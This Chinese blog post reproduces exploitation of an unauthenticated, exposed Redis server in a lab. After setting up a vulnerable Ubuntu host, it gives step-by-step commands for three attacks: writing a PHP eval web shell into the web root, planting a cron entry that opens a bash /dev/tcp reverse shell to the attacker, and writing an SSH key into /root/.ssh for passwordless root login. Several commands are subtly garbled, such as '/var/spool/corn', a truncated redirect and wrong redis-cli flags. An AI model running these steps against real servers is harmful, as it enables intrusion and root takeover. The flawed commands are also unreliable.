漏洞成因
有些redis绑在0.0.0.0:6379,没有开启验证或者没有设置对未知ip来源进行限制以及默认的空密码就导致了redis默认访问
但是这个普遍的漏洞极可能造成后门植入getshell,也可能造成反弹shell权限维持,甚至会造成ssh直接免密连接服务器
开始复现
搭建环境
服务器操作系统为ubuntu,ip为192.168.58.129
sudo apt update sudo apt install redis-server sudo systemctl status redis-server sudo vim /etc/redis/redis.conf 将 bind 127.0.0.1 ::1 注释掉 # bind 127.0.0.1 ::1 将 protected-mode 改成 no protected-mode no 保存配置文件 重启Redis服务器 使其生效 sudo systemctl restart redis-server
后面植入getshell
前提条件要知道网站的绝对路径和开启了web服务
使用kali进行远程连接,使用redis-cli
redis-cli -p ip 未授权连接redis
config get dir 获取redis的备份文件
config set dir /var/www/html 设置路径为网站路径
config set dbfilename shell.php 设置文件名 set x "<?php eval($_POST['shell']);?>" 给文件写入shell
设置定时任务定时反弹权限维持
1.redis-cli -h ip 2.config set dir /var/spool/corn 设置路径为定时任务路径 3.set x “\n***** bash -i >& /dev/tcp ip/5555 0>&\n” 设置定时任务,反弹到5555端口 4.save 5.攻击机监听5555端口
写入ssh公钥远程连接
1.ssh-keygen -t rsa 生成ssh公钥 2.redis-cli -h ip redis未授权连接 3.redis-cli ip 连接服务器 4.config getdir 获取redis备份路径 5.config set dir /root/.ssh 设置备份路径为ssh公钥存放目录 6.config set dbfilename xx 设置上传公钥备份文件名为 7.cat /key.txt | redis_cli -h ip -x set pub 将公钥写入redis缓冲 8.ssh -i id_rsa root@ip 免密登录
标签:Getshell,set,cli,Redis,redis,ssh,ip,授权,config From: https://www.cnblogs.com/mu-yi2/p/17288019.html